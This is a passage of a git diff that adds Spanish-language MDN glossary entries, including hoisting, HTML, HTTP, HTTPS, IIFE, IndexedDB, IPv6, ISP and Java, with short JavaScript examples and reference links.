+<p>Una de las ventajas en JavaScript de colocar (<strong>ponerlas en memoria</strong>) las declaraciones de funciones antes de ejecutar cualquier otro segmento de código es que permite utilizar una función antes de declararla en el código. Por ejemplo: </p>
+
+<pre class="brush: js">function nombreDelGato(nombre) {
+  console.log("El nombre de mi gato es " + nombre);
+}
+
+nombreDelGato("Maurizzio");
+/*
+El resultado del código es: "El nombre de mi gato es Maurizzio"
+*/
+</pre>
+
+<p>El código escrito arriba está escrito de la manera que sería esperada para que funcione. Ahora, veamos qué sucede cuando llamamos a la función antes de escribirla:</p>
+
+<pre class="brush: js">nombreDelGato("Dumas");
+
+function nombreDelGato(nombre) {
+  console.log("El nombre de mi gato es " + nombre);
+}
+/*
+El resultado del código es: "El nombre de mi gato es Dumas"
+*/
+</pre>
+
+<p>Como se puede observar, aunque primero llamamos a la función en el código, antes de que sea escrita, el código aún funciona. Esto sucede por la manera en la que el contexto de ejecución trabaja en JavaScript. </p>
+
+<p>Hoisting se lleva también bien con otros tipos de datos y variables. Observemos el siguiente ejemplo:</p>
+
+<h3 id="Ejemplo_técnico_2">Ejemplo técnico</h3>
+
+<pre class="brush: js">var x = 5;
+
+(function () {
+    console.log("x:", x); // no obtenemos '5' sino 'undefined'
+    var x = 10;
+    console.log("x:", x); // 10
+}());
+</pre>
+
+<p>¿No hemos obtenido lo esperado?, como la declaración de variables se procesa antes de ejecutar cualquier código, declarar una variable en cualquier parte del código es igual a declararla al inicio del mismo. Lo que ocurre aquí y para que se entienda, es que hipotéticamente la variable se <strong>eleva</strong> y pasa a declararse <strong>al comienzo de su contexto</strong>, en este caso la función que la contiene.</p>
+
+<p>El ejemplo anterior se entiende implícitamente como:</p>
+
+<pre class="brush: js">var x = 5;
+
+(function () {
+    var x; // Se elevo la declaración
+    console.log("x:", x); // undefined
+    x = 10;
+    console.log("x:", x); // 10
+}());
+</pre>
+
+<p>JavaScript sólo utiliza el hoisting en <strong>declaraciones</strong>, no inicializaciones. Si está utilizando una variable que <strong>es declarada e inicializada después  </strong>(está después en el código) <strong>de usarla</strong>, el valor será <code>undefined</code>. El siguiente ejemplo demuestra ese comportamiento:</p>
+
+<pre class="brush: js">var x = 1; // Inicializa x
+console.log(x + " " + y); // '1 undefined'
+var y = 2; // Inicializa y
+</pre>
+
+<p>Como se puede apreciar <strong>la elevación afecta la declaración</strong> de variables, pero <strong>no su inicialización</strong>. El valor será asignado exactamente cuando la sentencia de asignación sea alcanzada.</p>
+
+<p>El ejemplo anterior se entiende implícitamente como:</p>
+
+<pre class="brush: js">var x = 1; // Inicializa x
+var y;// Se elevo la declaración
+console.log(x + " " + y); // '1 undefined'
+y = 2; // Inicializa y
+</pre>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://www.udemy.com/understand-javascript/">JavaScript: Understanding the Weird Parts</a> - Udemy.com Course</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var statement</a> - MDN</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> - MDN</li>
+</ul>
diff --git a/files/es/glossary/html/index.html b/files/es/glossary/html/index.html
new file mode 100644
index 0000000000..67db74519d
--- /dev/null
+++ b/files/es/glossary/html/index.html
@@ -0,0 +1,47 @@
+---
+title: HTML
+slug: Glossary/HTML
+tags:
+  - Glosario
+  - HTML
+translation_of: Glossary/HTML
+---
+<p>HTML (<span class="st">Lenguaje de marcado de hipertexto o </span>HyperText Markup Language por sus siglas en inglés) es un lenguaje descriptivo que especifica la estructura de las páginas web.</p>
+
+<h2 id="Breve_historia">Breve historia</h2>
+
+<p>En 1990, como parte de su visión de la {{glossary("World Wide Web","Web")}} (art. en inglés), Tim Berners-Lee definió el concepto de {{glossary("hypertext")}} (art. en inglés), el cual Berners-Lee formalizó el siguiente año a través de una marca principalmente basada en {{glossary("SGML")}} (art. en inglés). El {{glossary("IETF")}} (art. en inglés) comenzó formalmente a especificar HTML en 1993, y después de varios borradores se liberó la version 2.0 en 1995. En 1994 Berners-Lee fundó el {{glossary("W3C")}} (art. en inglés) para desarrollar la Web. En 1996, el W3C asumió el control de los trabajos de HTML y publicó la recomendación HTML 3.2 un año más tarde. HTML 4.0 fue liberada en 1999 y se convirtió en estándar en el año 2000.</p>
+
+<p>En ese momento, el W3C casi abandonó HTML en favor a {{glossary("XHTML")}}, crear un grupo independiente llamado {{glossary("WHATWG")}} (art. en inglés) en 2004. Gracias al WHATWG, el trabajo de {{glossary("HTML5")}} (art. en inglés) continuó: las dos organizaciones liberaron el primer borrador en 2008 y el estándar final en 2014.</p>
+
+<h2 id="Conceptos_y_sintaxis">Conceptos y sintaxis</h2>
+
+<p>Un documento HTML es un documento de texto plano estructurado con {{glossary("element","elements")}} (elementos en español) (art. en inglés). Los elementos están encerrados con parejas de {{Glossary("tag","tags" )}} (etiquetas en español) (art. en inglés) que realizan la apertura y el cierre . Cada etiqueta comienza y termina con paréntesis angulados (símbolos de menor que y mayor que (<code>&lt;&gt;</code>)). Existen unas pocas etiquetas vacías o nulas que no puede encerrar ningún texto, como por ejemplo {{htmlelement("img")}} (art. en inglés).</p>
+
+<p>Usted puede extender las etiquetas (tags) de HTML con {{Glossary("attribute","attributes")}}(atributos en español) (art. en inglés), las cuales proporcionan información adicional que afecta el modo como el navegador interpreta los elementos:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14550/Anatomia-de-un-elemento-HTML.png" style="height: 226px; width: 761px;"></p>
+
+<p>Un archivo HTML es normalmente guardado con una extensión <code>.htm</code> o <code>.html</code>, es entregado por un {{Glossary("Server","web server")}} (servidor de internet) (art. en inglés), y puede ser interpretado por cualquier {{Glossary("browser","web browser")}} (navegador de internet) (art. en inglés).</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Cultura_general">Cultura general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/HTML">HTML</a> en Wikipedia</li>
+</ul>
+
+<h3 id="Aprendiendo_HTML">Aprendiendo HTML</h3>
+
+<ul>
+ <li><a href="http://developer.mozilla.org/es/Learn/HTML">Nuestro tutorial de HTML</a></li>
+ <li><a href="http://www.codecademy.com/en/tracks/web" rel="external">Curso web en codecademy.com </a>(sitio en inglés)</li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML">La documentación de HTML en MDN</a></li>
+ <li><a href="http://www.w3.org/TR/html5/" rel="external">La especificación de HTML </a>(art. en inglés)</li>
+</ul>
diff --git a/files/es/glossary/html5/index.html b/files/es/glossary/html5/index.html
new file mode 100644
index 0000000000..807df32e01
--- /dev/null
+++ b/files/es/glossary/html5/index.html
@@ -0,0 +1,12 @@
+---
+title: HTML5
+slug: Glossary/HTML5
+translation_of: Glossary/HTML5
+---
+<p>La última versión estable de <a href="/es/docs/Glossary/HTML">HTML</a>, HTML5 convierte a HTML de un simple formato de marcado para estructurar documentos en una plataforma completa de desarrollo de aplicaciones. Entre otras características, HTML5 incluye nuevos elementos y <a href="/es/docs/Glossary/API">API</a> de <a href="/es/docs/Glossary/JavaScript">JavaScript</a> para mejorar el almacenamiento, la multimedia y el acceso al hardware.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/Guide/HTML/HTML5">Nuestra guía HTML5</a></li>
+</ul>
diff --git a/files/es/glossary/http/index.html b/files/es/glossary/http/index.html
new file mode 100644
index 0000000000..12c5a895f7
--- /dev/null
+++ b/files/es/glossary/http/index.html
@@ -0,0 +1,25 @@
+---
+title: HTTP
+slug: Glossary/HTTP
+tags:
+  - Beginner
+  - Intro
+  - Web
+translation_of: Glossary/HTTP
+---
+<p>El protocolo de transferencia de hipertexto o HTTP (HyperText Transfer Protocol) es el protocolo de red que permite la transferencia de documentos de hipermedia en la red, generalmente entre un navegador y un servidor, para que los humanos puedan leerlos. La versión actual de la especificación se llama HTTP/2.</p>
+
+<p>En un {{glossary("URI")}}, como por ejemplo <a href="https://developer.mozilla.org">https://developer.mozilla.org</a>, se indica en el esquema y puede tomar los valores: 'http:' o 'https:'. 'https:' se refiere a la versión segura del protocolo.</p>
+
+<p>HTTP se considera textual porque toda la comunicación se realiza en texto plano. También es un protocolo sin estado, ya que una comunicación no es consciente de las comunicaciones que se hayan podido producir anteriormente. Estas dos propiedades lo hace ideal para la consulta de documentos en la red (páginas web).</p>
+
+<p>También se puede utilizar como base para los servicios web  {{glossary("REST")}} en peticiones  {{glossary("AJAX")}}.</p>
+
+<div>
+<h2 id="Learn_more">Learn more</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTTP">HTTP en MDN</a></li>
+ <li>{{interwiki("wikipedia", "Hypertext Transfer Protocol", "HTTP")}} on Wikipedia</li>
+</ul>
+</div>
diff --git a/files/es/glossary/https/index.html b/files/es/glossary/https/index.html
new file mode 100644
index 0000000000..fef7e7e8f5
--- /dev/null
+++ b/files/es/glossary/https/index.html
@@ -0,0 +1,15 @@
+---
+title: HTTPS
+slug: Glossary/https
+translation_of: Glossary/https
+---
+<p>HTTPS (HTTP Secure) es una versión encriptada del protocolo {{Glossary("HTTP")}}. Normalmente utiliza {{Glossary("SSL")}} o {{Glossary("TLS")}} para cifrar toda la comunicación entre un cliente y un servidor. Esta conexión segura permite a los clientes intercambiar datos confidenciales de forma segura con un servidor, por ejemplo, para actividades bancarias o compras en línea.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "HTTPS")}} en Wikipedia</li>
+ <li><a href="https://movingtohttps.com/">Pasando a la guia comunitaria HTTPS </a></li>
+</ul>
diff --git a/files/es/glossary/hyperlink/index.html b/files/es/glossary/hyperlink/index.html
new file mode 100644
index 0000000000..651d61e7a6
--- /dev/null
+++ b/files/es/glossary/hyperlink/index.html
@@ -0,0 +1,37 @@
+---
+title: Hipervínculo
+slug: Glossary/Hyperlink
+tags:
+  - Glosario
+  - HTML
+  - Hipervínculo
+  - Navegador
+  - Web
+  - a
+  - enlace
+translation_of: Glossary/Hyperlink
+---
+<p>Los <em>Hipervínculos </em>ó <em>enlaces </em>permiten conectar entre sí datos ó páginas web. En <a href="/es/docs/Glossary/HTML">HTML</a>, los elementos {{HTMLElement("a")}} representan hipervínculos que tienen como origen un elemento de la página web (por ejemplo cadenas de texto o imágenes), y que pueden tener como destino un elemento de otro sitio web (incluso pueden enlazar a otro punto de la misma página).</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General">Cultura General</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Hiperenlace")}} en Wikipedia</li>
+ <li><a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks">Guía de Hipervínculos</a> en MDN</li>
+</ul>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a class="external external-icon" href="https://www.w3.org/TR/1999/REC-html401-19991224/struct/links.html">Links in HTML Documents - W3C</a></li>
+ <li><a class="external external-icon" href="https://w3c.github.io/html-reference/a.html">HTML5 a - hyperlink - W3C</a></li>
+</ul>
+
+<h3 id="Aprende_sobre">Aprende sobre</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Elemento/a"><code>&lt;a&gt;</code> en MDN</a></li>
+ <li><a href="/es/docs/Web/HTML/Elemento/link"><code>&lt;link&gt;</code> en MDN</a></li>
+</ul>
diff --git a/files/es/glossary/hypertext/index.html b/files/es/glossary/hypertext/index.html
new file mode 100644
index 0000000000..019cf6975b
--- /dev/null
+++ b/files/es/glossary/hypertext/index.html
@@ -0,0 +1,24 @@
+---
+title: Hipertexto
+slug: Glossary/Hypertext
+tags:
+  - Glosario
+translation_of: Glossary/Hypertext
+---
+<p>El hipertexto es texto que contiene enlaces a otros textos, y no un flujo único y lineal como el de una novela.</p>
+
+<p>El término fue acuñado por Ted Nelson alrededor del año 1965.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Hipertexto", "Hipertexto")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_Técnica">Referencia Técnica</h3>
+
+<ul>
+ <li><a href="http://www.ualberta.ca/dept/chemeng/AIX-43/share/man/info/C/a_doc_lib/aixuser/aix6kdov/hyperv1aix.htm">Hypertext Information Base</a></li>
+</ul>
diff --git a/files/es/glossary/ide/index.html b/files/es/glossary/ide/index.html
new file mode 100644
index 0000000000..219f06767f
--- /dev/null
+++ b/files/es/glossary/ide/index.html
@@ -0,0 +1,21 @@
+---
+title: IDE
+slug: Glossary/IDE
+tags:
+  - Compilador
+  - Debugger
+  - Depurador
+  - Glosario
+  - IDE
+  - editor de texto
+translation_of: Glossary/IDE
+---
+<p><span class="_Tgc">Un entorno de desarrollo integrado (<strong>IDE</strong>) o entorno de desarrollo interactivo es una aplicación que proporciona facilidades a los programadores para el desarrollo de software. Un IDE normalmente consta de un editor de código, herramientas automatizadas para producir el proyecto y un depurador.</span></p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Entorno_de_desarrollo_integrado", "IDE")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/identificador/index.html b/files/es/glossary/identificador/index.html
new file mode 100644
index 0000000000..63f26a35a8
--- /dev/null
+++ b/files/es/glossary/identificador/index.html
@@ -0,0 +1,39 @@
+---
+title: Identificador
+slug: Glossary/Identificador
+tags:
+  - Campartir
+  - CodingScripting
+  - Glosario
+  - Novato
+  - Principiante
+translation_of: Glossary/Identifier
+---
+<p>Un <strong>Identificador</strong> es una secuencia de caracteres en el código que identifica una {{Glossary("Variable")}}, {{Glossary("Function", "función")}} o {{Glossary("Property", "propiedad")}}.</p>
+
+<p>En {{Glossary("JavaScript")}}, los identificadores distinguen entre mayúsculas y minúsculas y pueden contener letras {{Glossary("Unicode")}}, <code>$</code>, <code>_</code>, y dígitos (0-9), pero no puede comenzar con un dígito.</p>
+
+<p>Un identificador se diferencia de una cadena en que una {{Glossary("String", "cadena")}} son datos, mientras que un identificador es parte del código. En JavaScript, no hay forma de convertir identificadores en cadenas, pero a veces es posible procesar cadenas como identificadores.</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Identificador#Identificadores_en_lenguajes_informáticos", "Identificador")}} en Wikipedia</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/es/docs/Glossary">Glosario</a>
+
+  <ol>
+   <li>{{Glossary("Identifier", "Identificador")}}</li>
+   <li>{{Glossary("Scope", "Alcance")}}</li>
+   <li>{{Glossary("String", "Cadena")}}</li>
+   <li>{{Glossary("Unicode")}}</li>
+  </ol>
+ </li>
+ <li>{{interwiki("wikipedia", "Identificador#Identificadores_en_lenguajes_informáticos", "Identificador")}} en Wikipedia</li>
+</ol>
+</section>
diff --git a/files/es/glossary/iife/index.html b/files/es/glossary/iife/index.html
new file mode 100644
index 0000000000..c758bbc46e
--- /dev/null
+++ b/files/es/glossary/iife/index.html
@@ -0,0 +1,53 @@
+---
+title: 'IIFE: Expresión de función ejecutada inmediatamente'
+slug: Glossary/IIFE
+tags:
+  - Funciones
+translation_of: Glossary/IIFE
+---
+<p>Las expresiones de función ejecutadas inmediatamente (<strong>IIFE</strong> por su sigla en inglés) son funciones que se ejecutan tan pronto como se definen.</p>
+
+<pre class="brush: js">(function () {
+    statements
+})();</pre>
+
+<p>Es un patrón de diseño también conocido cómo <strong>función autoejecutable </strong>({{glossary("Self-Executing Anonymous Function")}}  ) y se compone por dos partes. La primera es la función anónima con alcance léxico encerrado por el  {{jsxref("Operadores/Grouping", "Operador de Agrupación")}} <code>()</code>. Esto impide accesar variables fuera del IIFE, así cómo contaminar el alcance (scope) global. </p>
+
+<p>La segunda parte crea la expresión de función cuya ejecución es inmediata <code>()</code>, siendo interpretado directamente en el engine de JavaScript.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>La función se convierte en una expresión de función que es ejecutada inmediatamente. La variable dentro de la expresíon no puede ser accesada desde afuera.</p>
+
+<pre class="brush: js"><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
+    var aName = "Barry";
+<span class="p">})();
+// Variable name is not accessible from the outside scope
+aName </span>// throws "Uncaught ReferenceError: aName is not defined"
+</pre>
+
+<p>Asignar el IIFE a una variable almacena el valor de retorno, no la definición de la función.</p>
+
+<pre class="brush: js"><span class="p">var result = (</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
+    var name = "Barry";
+    return name;
+<span class="p">})();
+// Immediately creates the output:
+result; // "Barry"</span></pre>
+
+<p> </p>
+
+<h2 id="Aprende_mas">Aprende mas</h2>
+
+<h3 id="Aprende_acerca_de">Aprende acerca de</h3>
+
+<ul>
+ <li><a href="http://benalman.com/news/2010/11/immediately-invoked-function-expression/">Ben Alman's blog post defining IIFEs</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript#Functions">Quick example</a> "Ejemplo Rápido"(al final de la sección "Functions" , justo despues de "Custom objects")</li>
+</ul>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Immediately-invoked function expression", "IIFE")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/index.html b/files/es/glossary/index.html
new file mode 100644
index 0000000000..e0dc1422ba
--- /dev/null
+++ b/files/es/glossary/index.html
@@ -0,0 +1,30 @@
+---
+title: Glosario
+slug: Glossary
+tags:
+  - Definiciones
+  - Diccionario
+  - Glosario
+  - Glossary
+  - Index
+  - Landing
+  - Terminologia
+  - TopicStub
+  - Índice
+translation_of: Glossary
+---
+<div style="max-width: 300px; float: right; margin: 0 0 .5em 1em;">{{LearnBox({"title":"Aprender un nuevo término:"})}}</div>
+
+<p>Las tecnologías web contienen largas listas de jerga y abreviaturas que se utilizan en la documentación y codificación. Este glosario ofrece definiciones de palabras y abreviaturas que necesitas saber para entender y construir con éxito tu web.</p>
+
+<p>{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}</p>
+
+<h2 id="Contribuir_al_glosario">Contribuir al glosario</h2>
+
+<p>Este glosario es un trabajo en curso que nunca termina. Puedes ayudar a mejorarlo <a href="/es/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">escribiendo nuevas entradas</a> o haciendo mejor las ya existentes. La forma más fácil de empezar es presionando el siguiente botón o elegir uno de los términos sugeridos debajo.</p>
+
+<p><strong><a href="/es/docs/new?parent=4391">Añadir una nueva entrada en el glosario</a></strong></p>
+
+<p>{{GlossaryList({"terms":["DMZ","HMAC","condition","modem","OVP","TTL","Unicode"], "filter":"notdefined", "css":"multiColumnList"})}}</p>
+
+<p>Si deseas saber más acerca de cómo contribuir al glosario, echa un vistazo a <a href="/es/docs/MDN/Doc_status/Glossary">la página de estado de la documentación del glosario</a>.</p>
diff --git a/files/es/glossary/indexeddb/index.html b/files/es/glossary/indexeddb/index.html
new file mode 100644
index 0000000000..3b54713288
--- /dev/null
+++ b/files/es/glossary/indexeddb/index.html
@@ -0,0 +1,13 @@
+---
+title: IndexedDB
+slug: Glossary/IndexedDB
+translation_of: Glossary/IndexedDB
+---
+<p>IndexedDB es una {{glossary("API")}} Web diseñada para almacenar estructuras de datos grandes en los navegadores e indexarlas para realizar búsquedas de alto rendimiento. Al igual que los sistemas <a href="https://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_bases_de_datos_relacionales" title="Relational DataBase Managment System">RDBMS</a> basados en {{glossary("SQL")}}, IndexedDB es un sistema de base de datos transaccional. Sin embargo, usa objetos de {{glossary("JavaScript")}} en vez de columnas fijas para almacenar los datos.</p>
+
+<h2 id="Conoce_más">Conoce más</h2>
+
+<ul>
+ <li>La {{domxref('IndexedDB_API','API de IndexedDB','',1)}} en MDN</li>
+ <li><a href="http://w3c.github.io/IndexedDB/">Las especificaciones W3C de IndexedDB</a></li>
+</ul>
diff --git a/files/es/glossary/inmutable/index.html b/files/es/glossary/inmutable/index.html
new file mode 100644
index 0000000000..534f00b6b6
--- /dev/null
+++ b/files/es/glossary/inmutable/index.html
@@ -0,0 +1,23 @@
+---
+title: Inmutable
+slug: Glossary/Inmutable
+tags:
+  - CodingScripting
+  - Glosario
+translation_of: Glossary/Immutable
+---
+<p>Un {{glossary("object", "objeto")}} inmutable es aquel cuyo contenido no se puede cambiar.Un objeto puede ser inmutable por varias razones, por ejemplo:</p>
+
+<ul>
+ <li>Para mejorar el rendimiento (al no haber planificados cambios futuros del objeto)</li>
+ <li>Para reducir el uso de memoria (haciendo {{glossary("object reference","referencias al objeto")}} en vez de clonar el objeto entero)</li>
+ <li>Para la seguridad de los subprocesos (varios subprocesos pueden hacer referencia al mismo objeto sin interferir entre sí)</li>
+</ul>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Objeto_inmutable", "Objeto Inmutable")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/internet/index.html b/files/es/glossary/internet/index.html
new file mode 100644
index 0000000000..f1c95a1a6f
--- /dev/null
+++ b/files/es/glossary/internet/index.html
@@ -0,0 +1,16 @@
+---
+title: Internet
+slug: Glossary/Internet
+translation_of: Glossary/Internet
+---
+<p>La Internet es una red mundial de redes que utiliza el conjunto de protocolos de Internet (tambien conocidos como {{glossary("TCP")}}/{{glossary("IPv6","IP")}} (art. en ingles) siendo sus dos mas importantes {{glossary("protocol","protocolos")}}).</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Aprender_al_respecto">Aprender al respecto</h3>
+
+<ul>
+ <li>
+  <pre dir="ltr" id="tw-target-text">Cómo funciona Internet (introducción para principiantes)</pre>
+ </li>
+</ul>
diff --git a/files/es/glossary/ip_address/index.html b/files/es/glossary/ip_address/index.html
new file mode 100644
index 0000000000..1883d59b24
--- /dev/null
+++ b/files/es/glossary/ip_address/index.html
@@ -0,0 +1,16 @@
+---
+title: Dirección IP
+slug: Glossary/IP_Address
+translation_of: Glossary/IP_Address
+---
+<p>Una dirección IP es un número asignado a cada dispositivo conectado a una red que utiliza el protocolo de Internet.</p>
+
+<p>La «dirección IP» normalmente se sigue refiriendo a las direcciones IPv4 de 32 bits hasta que el IPv6 se despliegue más ampliamente.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Dirección_IP">Dirección IP</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/ipv6/index.html b/files/es/glossary/ipv6/index.html
new file mode 100644
index 0000000000..35422b267f
--- /dev/null
+++ b/files/es/glossary/ipv6/index.html
@@ -0,0 +1,17 @@
+---
+title: IPv6
+slug: Glossary/IPv6
+tags:
+  - IPv6
+  - Web
+translation_of: Glossary/IPv6
+---
+<p id="Summary"><strong>IPv6</strong> <span class="tlid-translation translation" lang="es"><span title="">es la versión actual del protocolo de comunicación subyacente a Internet</span></span>. <span class="tlid-translation translation" lang="es"><span title="">Lentamente, IPv6 está reemplazando a IPv4, entre otras razones porque IPv6 permite muchas direcciones de IP diferentes.</span></span></p>
+
+<h2 id="Aprende_más"><span class="tlid-translation translation" lang="es"><span title="">Aprende más</span></span></h2>
+
+<h3 id="Conocimientos_generales"><span class="tlid-translation translation" lang="es"><span title="">Conocimientos generales</span></span></h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/IPv6">IPv6</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/irc/index.html b/files/es/glossary/irc/index.html
new file mode 100644
index 0000000000..093bfb9912
--- /dev/null
+++ b/files/es/glossary/irc/index.html
@@ -0,0 +1,8 @@
+---
+title: IRC
+slug: Glossary/IRC
+translation_of: Glossary/IRC
+---
+<p><strong>IRC</strong> (<em>Internet Relay Chat</em>) es un sistema de chat mundial que requiere una conexión a Internet y un cliente IRC, que envía y recibe mensajes atravéz del servidor IRC.</p>
+
+<p>Diseñado a finales de la década de 1980 por Jarrko Oikarinen, IRC usa {{glossary("TCP")}} y es un protocolo abierto. El servidor IRC transmite mensajes a todos los que están conectados a uno de los muchos canales de IRC (cada uno con su propio ID).</p>
diff --git a/files/es/glossary/isp/index.html b/files/es/glossary/isp/index.html
new file mode 100644
index 0000000000..852238b499
--- /dev/null
+++ b/files/es/glossary/isp/index.html
@@ -0,0 +1,20 @@
+---
+title: ISP
+slug: Glossary/ISP
+tags:
+  - Glosario
+  - ISP
+  - Proveedor de servicios de Internet
+  - Web
+translation_of: Glossary/ISP
+---
+<p>Un ISP (del inglés <em>Internet Service Provider</em>, Proveedor de servicios de Internet) es una empresa (en su mayoría compañías telefónicas) que vende acceso a Internet y, a veces, correo electrónico, alojamiento de páginas web y voz sobre IP, ya sea mediante una conexión de marcación a través de una línea telefónica (antes más común), o a través de una conexión de banda ancha como un módem de cable o un servicio DSL.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Conocimiento_General">Conocimiento General</h3>
+
+<ul>
+ <li><a href="/es/docs/Learn/Common_questions/How_does_the_Internet_work">¿Cómo funciona internet?</a> (explicación para principiantes)</li>
+ <li><a href="https://es.wikipedia.org/wiki/Proveedor_de_servicios_de_Internet">Proveedor de servicios de Internet</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/iu/index.html b/files/es/glossary/iu/index.html
new file mode 100644
index 0000000000..0b24558082
--- /dev/null
+++ b/files/es/glossary/iu/index.html
@@ -0,0 +1,19 @@
+---
+title: IU
+slug: Glossary/IU
+tags:
+  - Accesibilidad
+  - Diseño
+  - Glosario
+translation_of: Glossary/UI
+---
+<p>La <em>Interfaz de Usuario </em>(IU) es el medio que facilita la interacción entre el usuario y la máquina. En el campo de la informática, puede ser un teclado, un joystick, una pantalla, o un programa. En el caso del software, puede ser una entrada de línea de comandos, una página web, un formulario, o el front-end de cualquier aplicación.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Interfaz_de_usuario">Interfaz de Usuario</a> en Wikipedia</li>
+ <li><a href="https://es.wikipedia.org/wiki/Desarrollo_web_Front-end">Desarrollo Front-end</a> on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/java/index.html b/files/es/glossary/java/index.html
new file mode 100644
index 0000000000..a32087e7c0
--- /dev/null
+++ b/files/es/glossary/java/index.html
@@ -0,0 +1,23 @@
+---
+title: Java
+slug: Glossary/Java
+tags:
+  - Glosario
+  - Java
+  - Lenguaje de programación
+translation_of: Glossary/Java
+---
+<p>Java es un lenguaje de {{Glossary("computer programming", "programación")}}  semi-compilado, {{glossary("OOP", "orientado a objetos")}} y portable.</p>
+
+<p>Java está tipado estáticamente y tiene una sintaxis parecida a la de C. Tiene una gran librería de funciones fáciles de usar, el Java Software Development Kit (SDK).</p>
+
+<p>Los programas son {{glossary("Compile", "compilados")}} primero una única vez a byte code y empaquetados en un formato que puede ser ejecutado por la Máquina Virtual de Java (JVM). La JVM está disponible para multiples plataformas, lo que permite que los programas en Java funcionen en casi todos los sistemas sin tener que volver a compilar y empaquetar el proyecto cada vez. Esto hace que sea el lenguaje preferido de muchas empresas con distintos propósitos, aunque puede ser considerado como muy "pesado".</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Java_(lenguaje_de_programación)", "Java")}} en Wikipedia</li>
+ <li>{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}</li>
+</ul>
diff --git a/files/es/glossary/javascript/index.html b/files/es/glossary/javascript/index.html
new file mode 100644
index 0000000000..183c1b6bf6
--- /dev/null
+++ b/files/es/glossary/javascript/index.html
@@ -0,0 +1,52 @@
+---
+title: JavaScript
+slug: Glossary/JavaScript
+tags:
+  - CodingScripting
+  - Glosario
+  - JavaScript
+  - 'l10n:priority'
+translation_of: Glossary/JavaScript
+---
+<div>{{jsSidebar}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>JavaScript (o "JS") es un lenguaje de programación que se usa con mayor frecuencia para scripts dinámicos de lado del cliente en páginas web, pero también se usa a menudo en el lado del {{Glossary("Server", "servidor")}} — usando un entorno de ejecución como <a href="https://nodejs.org/" rel="external">Node.js</a>.</p>
+
+<p>JavaScript <strong>no se debe</strong> confundir con el {{interwiki("wikipedia", "Java_(programming_language)", "lenguaje de programación Java")}}. Aunque <em>"Java"</em> y <em>"JavaScript"</em> son marcas comerciales (o marcas comerciales registradas) de Oracle en EE. UU. y otros países, los dos lenguajes de programación son significativamente diferentes en su sintaxis, semántica y casos de uso.</p>
+
